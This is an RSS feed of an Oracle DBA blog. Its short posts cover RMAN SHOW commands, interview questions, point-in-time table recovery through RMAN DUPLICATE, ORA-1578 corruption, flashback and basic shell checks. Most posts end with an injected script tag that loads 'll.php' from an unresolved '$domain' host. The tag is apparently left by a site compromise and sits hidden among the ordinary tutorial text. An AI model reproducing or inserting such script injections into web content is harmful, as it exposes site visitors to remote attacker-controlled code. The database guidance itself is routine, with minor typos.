<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Oracle Database Administration Blog &#187; aarthimudhalvan</title>
	<atom:link href="http://www.bestremotedba.com/author/aarthimudhalvan/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bestremotedba.com</link>
	<description>Specially Created for Remote DBAs and Junior DBAs</description>
	<lastBuildDate>Fri, 30 Dec 2011 05:43:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>RMAN Show Commands</title>
		<link>http://www.bestremotedba.com/rman-show-commands/</link>
		<comments>http://www.bestremotedba.com/rman-show-commands/#comments</comments>
		<pubDate>Wed, 28 Sep 2011 02:57:32 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[RMAN]]></category>
		<category><![CDATA[RMAN Show Command]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=966</guid>
		<description><![CDATA[RMAN Show Command]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>The <strong>SHOW</strong> command is used to display the values of current RMAN configuration settings.</p>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">all</span>;</strong></p>
<blockquote><p>Shows all parameters.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">archivelog backup copies</span>;</strong></p>
<blockquote><p> Shows the number of archivelog backup copies.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">archivelog deletion policy</span>;</strong></p>
<blockquote><p>Shows the archivelog deletion policy.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">auxname</span>;</strong></p>
<blockquote><p>Shows the auxiliary database information.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">backup optimization</span>;</strong></p>
<blockquote><p>Shows whether optimization is on or off.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show  <span style="color: #ff0000;">auxiliary channel</span>;</strong></p>
<blockquote><p>Shows how the normal channel and auxiliary hannel are configured.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">controlfile autobackup</span>;</strong></p>
<blockquote><p>Shows whether autobackup is on or off.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">controlfile autobackup format</span>;</strong></p>
<blockquote><p>Shows the format of the autobackup control file.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">datafile backup copies</span>;</strong></p>
<blockquote><p>Shows the number of datafile backup copies being ept.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">default device type</span>;</strong></p>
<blockquote><p>Shows the default type disk or tape.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">encryption algorithm</span>;</strong></p>
<blockquote><p>Shows the encryption algorithm currently in use.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">encryption for database</span>;</strong></p>
<blockquote><p> Shows the encryption for the database.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show<span style="color: #ff0000;"> encryption for tablespace</span>;</strong></p>
<blockquote><p> Shows the encryption for the tablespace.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">exclude</span>;</strong></p>
<blockquote><p> Shows the tablespaces excluded from the backup.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">maxsetsize</span>;</strong></p>
<blockquote><p> Shows the maximum size for backup sets. The default value is unlimited.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">retention policy</span>;</strong></p>
<blockquote><p> Shows the policy for datafile and control file backups and copies that RMAN marks as obsolete.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">snapshot controlfile name</span>;</strong></p>
<blockquote><p> Shows the snapshot control filename.</p></blockquote>
<p><strong><span style="color: #ff0000;">Note:</span> </strong>You can see any <em>nondefault RMAN configured settings</em> in the<strong> <span style="color: #0000ff;">V$RMAN_CONFIGURATION</span> </strong>database view.</p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/rman-show-commands/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DBA Interview Questions &#8211; Part 2</title>
		<link>http://www.bestremotedba.com/dba-interview-questions-part-2/</link>
		<comments>http://www.bestremotedba.com/dba-interview-questions-part-2/#comments</comments>
		<pubDate>Sat, 25 Dec 2010 00:36:26 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[Oracle DBA Interview Questions]]></category>
		<category><![CDATA[DBA Interview Question]]></category>
		<category><![CDATA[Oracle DBA Interview Question]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=854</guid>
		<description><![CDATA[DBA Interview Question]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>1) Primary database scn is 22 and standby SCN is 24 how you will resolve this issue.</p>
<p>2) Archive log got deleted before shipped to standby location how you will resolve this issue.</p>
<p>3) 3 users running same select but one of them response time is 1hr and for other few minutes how u will diagnose this.</p>
<p>4) What is advantage of ASM over os storage and raw storage.</p>
<p>5) What is remastering in RAC</p>
<p>6) How you can see database version at OS level.</p>
<p>7) A job is running since long it was working fine earlier how you will check that</p>
<p> <img src='http://www.bestremotedba.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> How you will suggest joins to developer</p>
<p>9) 3 databases sizes 10gb, 100gb, 1TB how which database will take more time.</p>
<p>10) You lost control file database is using RMAN backup with nocatalog. If you loose whole db as well same time how you recover database.</p>
<p>11) what is sync, and async in standby how it works.</p>
<p>12) Shut immediate is taking too much time how you diagnose what is the issue.</p>
<p>13) How you take backup of OCR.</p>
<p>14) What will happen if voting disk is down.</p>
<p>15) What will happen if virtual IP is down in RAC.</p>
<p>VIP  &#8211; Virtual IP address in RAC</p>
<p>VIP is mainly used for fast connection in failover. </p>
<p>      Until 9i RAC faileover we used physical IP address of another server. When the connection request come from a client to server, then failure of first server listener then RAC redirect the connection request to second available server using physical IP address. Hence it is physical IP address rediretion to second physical IP address is possible only after we get timeout error from First Physical IP address. So connection should wait a while for getting TCP connection timeout.</p>
<p>       From RAC 10g we can use the VIP to save connection timeout wait, Because ONS (Oracle Notification Service) maintains communication between each nodes and listeners. Once ONS found any listener down or node down, it will notify another nodes and listeners. While new connection is trying to establish connection to failure node or listener, virtual IP of failure node automatically divert to surviving node. This Process will not wait for TCP/IP timeout event. So new connection will be faster even one listener/node failed.<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/dba-interview-questions-part-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to recover from a DROP or TRUNCATE table by using RMAN.</title>
		<link>http://www.bestremotedba.com/how-to-recover-from-a-drop-or-truncate-table-by-using-rman/</link>
		<comments>http://www.bestremotedba.com/how-to-recover-from-a-drop-or-truncate-table-by-using-rman/#comments</comments>
		<pubDate>Sat, 11 Sep 2010 03:56:35 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[Database Administration]]></category>
		<category><![CDATA[How to recover from a DROP or TRUNCATE table by using RMAN.]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=797</guid>
		<description><![CDATA[There are three options available: 1. Restore and recover the primary database to a point in time before the drop. This is an extreme measure for one table as the entire database goes back in time. 2. Restore and recover the tablespace to a point in time before the drop. This is a better option, [...]]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>There are three options available:</p>
<p>1. Restore and recover the primary database to a point in time before the drop. This is an extreme measure for one table as the entire database goes back in time.</p>
<p>2. Restore and recover the tablespace to a point in time before the drop. This is a better option, but again, it takes the entire tablespace back in time.</p>
<p>3. Restore and recover a subset of the database as a DUMMY database to export the table data and import it into the primary database. This is the best option as only the dropped table goes back in time to before the drop. </p>
<p>So option 3 is best.</p>
<p><strong>Steps for Option 3 </strong></p>
<p>1. To recover from a dropped or truncated table, a dummy database (copy of primary) will be restored and recovered to point in time so the table can be exported. </p>
<p>2. Once the table export is complete, the table can be imported into the primary database. This dummy database can be a subset of the primary database. However,the &#8216;dummy&#8217; database must include the SYSTEM, UNDO (or ROLLBACK), and the tablespace(s) where the dropped/truncated table resides.</p>
<p>The simpliest method to create this &#8216;dummy&#8217; database is to use the <strong>RMAN duplicate command</strong>.</p>
<p><strong>RMAN Duplicate Command </strong></p>
<p>CONNECT TARGET SYS/oracle@trgt<br />
CONNECT AUXILIARY SYS/oracle@dupdb</p>
<p>DUPLICATE TARGET DATABASE TO dupdb<br />
    NOFILENAMECHECK UNTIL TIME &#8216;SYSDATE-7&#8242;;</p>
<p>Assuming the following </p>
<p>•The target database trgt and duplicate database dupdb are on different hosts but have exactly the same directory structure.</p>
<p>•You want to name the duplicate database files the same as the target files.</p>
<p>•You are not using a recovery catalog.</p>
<p>•You are using automatic channels for disk and sbt, which are already configured.</p>
<p>•You want to recover the duplicate database to one week ago in order to view the data in prod1 as it appeared at that time (and you have the required backups and logs to recover the duplicate to that poin tin time).<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/how-to-recover-from-a-drop-or-truncate-table-by-using-rman/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Command to find files created a day before</title>
		<link>http://www.bestremotedba.com/command-to-find-files-created-a-day-before/</link>
		<comments>http://www.bestremotedba.com/command-to-find-files-created-a-day-before/#comments</comments>
		<pubDate>Tue, 07 Sep 2010 03:32:53 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[Database Administration]]></category>
		<category><![CDATA[Unix-Linux Administration]]></category>
		<category><![CDATA[Command to find files created a day before]]></category>
		<category><![CDATA[find command]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=791</guid>
		<description><![CDATA[This command will help you to find the files created one day before in the specified folder. find . -type f -mtime 1 -exec ls -lth &#8216;{}&#8217; \;]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>This command will help you to find the files created one day before in the specified folder. </p>
<p>find . -type f -mtime 1 -exec ls -lth &#8216;{}&#8217; \;</p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/command-to-find-files-created-a-day-before/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ORA-1578: ORACLE data block corrupted</title>
		<link>http://www.bestremotedba.com/ora-1578-oracle-data-block-corrupted/</link>
		<comments>http://www.bestremotedba.com/ora-1578-oracle-data-block-corrupted/#comments</comments>
		<pubDate>Fri, 27 Aug 2010 06:06:33 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[Database Administration]]></category>
		<category><![CDATA[ORA-1578: ORACLE data block corrupted]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=785</guid>
		<description><![CDATA[Issue: Database is in Flashback Mode. Enabled No logging on some db Tables Recover the database. Truncate those no logging Temporary tables. Now we get error message ORA-1578: ORACLE data block corrupted Reason: Oracle says it is a behavior in 10g and fixed in 11g Rel1. Cannot Reuse a Corrupt Block in Flashback Mode, ORA-1578 [...]]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p><strong>Issue:</strong></p>
<p>        Database is in Flashback Mode. </p>
<p>        Enabled No logging on some db Tables</p>
<p>        Recover the database. </p>
<p>        Truncate those no logging Temporary tables. </p>
<p>        Now we get error message ORA-1578: ORACLE data block corrupted</p>
<p><strong>Reason:</strong></p>
<p>        Oracle says it is a behavior in 10g and fixed in 11g Rel1.</p>
<p>        Cannot Reuse a Corrupt Block in Flashback Mode, ORA-1578 [ID 729433.1] </p>
<p>        In 11g (11.1 releases) there is an optimization introduced to skip the block read if the object was dropped before the flashback retention range, and this will help with corrupt blocks on disk. </p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/ora-1578-oracle-data-block-corrupted/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Flashback Database disabled automatically</title>
		<link>http://www.bestremotedba.com/flashback-database-disabled-automatically/</link>
		<comments>http://www.bestremotedba.com/flashback-database-disabled-automatically/#comments</comments>
		<pubDate>Fri, 27 Aug 2010 06:04:33 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[Database Administration]]></category>
		<category><![CDATA[Flashback Database]]></category>
		<category><![CDATA[Flashback Database disabled automatically]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=783</guid>
		<description><![CDATA[Issue 1: Intially Flashback Database was enabled but noticed Flashback was disabled automatically long time ago. Reason: It could be because the flashback area 100% Once Flashback Area become 100% full then oracle will log in Alert that Flashback will be disabled and it will automatically turn off Flash Back without user intervention.]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p><strong>Issue 1:</strong></p>
<p>Intially Flashback Database was enabled but noticed Flashback was disabled automatically long time ago. </p>
<p><strong>Reason:</strong></p>
<p> It could be because the flashback area 100% </p>
<p>Once Flashback Area become 100% full then oracle will log in Alert that Flashback will be disabled and it will automatically turn off Flash Back without user intervention.</p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/flashback-database-disabled-automatically/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How can I check if there is anything rolling back?</title>
		<link>http://www.bestremotedba.com/how-can-i-check-if-there-is-anything-rolling-back/</link>
		<comments>http://www.bestremotedba.com/how-can-i-check-if-there-is-anything-rolling-back/#comments</comments>
		<pubDate>Wed, 28 Jul 2010 03:22:47 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[Database Administration]]></category>
		<category><![CDATA[How can I check if there is anything rolling back]]></category>
		<category><![CDATA[used_ublk block in v$transaciton]]></category>
		<category><![CDATA[V$FAST_START_TRANSACTIONS]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=774</guid>
		<description><![CDATA[It depends on how you killed the process. If you did and alter system kill session you should be able to look at the used_ublk block in v$transaciton to get an estimate for the rollback being done. If you killed to server process in the OS and pmon is recovering the transaction you can look [...]]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>It depends on how you killed the process.</p>
<p>If you did and alter system kill session you should be able to look at the used_ublk block in v$transaciton to get an estimate for the rollback being done.</p>
<p>If you killed to server process in the OS and pmon is recovering the transaction you can look at V$FAST_START_TRANSACTIONS view to get the estimate</p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/how-can-i-check-if-there-is-anything-rolling-back/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Explain the relationship among database, tablespace, and datafile.</title>
		<link>http://www.bestremotedba.com/explain-the-relationship-among-database-tablespace-and-datafile/</link>
		<comments>http://www.bestremotedba.com/explain-the-relationship-among-database-tablespace-and-datafile/#comments</comments>
		<pubDate>Thu, 01 Jul 2010 02:34:36 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[Oracle DBA Interview Questions]]></category>
		<category><![CDATA[Explain the relationship among database and tablespace and datafile.]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=772</guid>
		<description><![CDATA[The database is logically divided into one or more tablespaces. For each tablespace we explicitly create one or more datafiles.]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>The database is logically divided into one or more tablespaces.<br />
For each tablespace we explicitly create one or more datafiles.<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/explain-the-relationship-among-database-tablespace-and-datafile/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How to recover if we delete a data file at OS level no backup for that?</title>
		<link>http://www.bestremotedba.com/how-to-recover-if-we-delete-a-data-file-at-os-level-no-backup-for-that/</link>
		<comments>http://www.bestremotedba.com/how-to-recover-if-we-delete-a-data-file-at-os-level-no-backup-for-that/#comments</comments>
		<pubDate>Mon, 28 Jun 2010 02:55:37 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[Oracle DBA Interview Questions]]></category>
		<category><![CDATA[how to recover if we delete a data file at OS level no backup for that?]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=770</guid>
		<description><![CDATA[bring the database to the mount state sql>alter database create datafile ; sql>recover datafile ; sql>alter database open;]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>bring the database to the mount state<br />
sql>alter database create datafile <datafile_number>;<br />
sql>recover datafile <datafile_number>;<br />
sql>alter database open;<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/how-to-recover-if-we-delete-a-data-file-at-os-level-no-backup-for-that/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How do you see how many instances are running?</title>
		<link>http://www.bestremotedba.com/how-do-you-see-how-many-instances-are-running/</link>
		<comments>http://www.bestremotedba.com/how-do-you-see-how-many-instances-are-running/#comments</comments>
		<pubDate>Tue, 22 Jun 2010 10:26:58 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[Oracle DBA Interview Questions]]></category>
		<category><![CDATA[How do you see how many instances are running?]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=768</guid>
		<description><![CDATA[In Linux, Unix the command: ps -ef&#124;grep pmon In Windows: services.msc]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>In Linux, Unix the command:  ps -ef|grep pmon<br />
In Windows: services.msc</p>
<p> <script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/how-do-you-see-how-many-instances-are-running/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

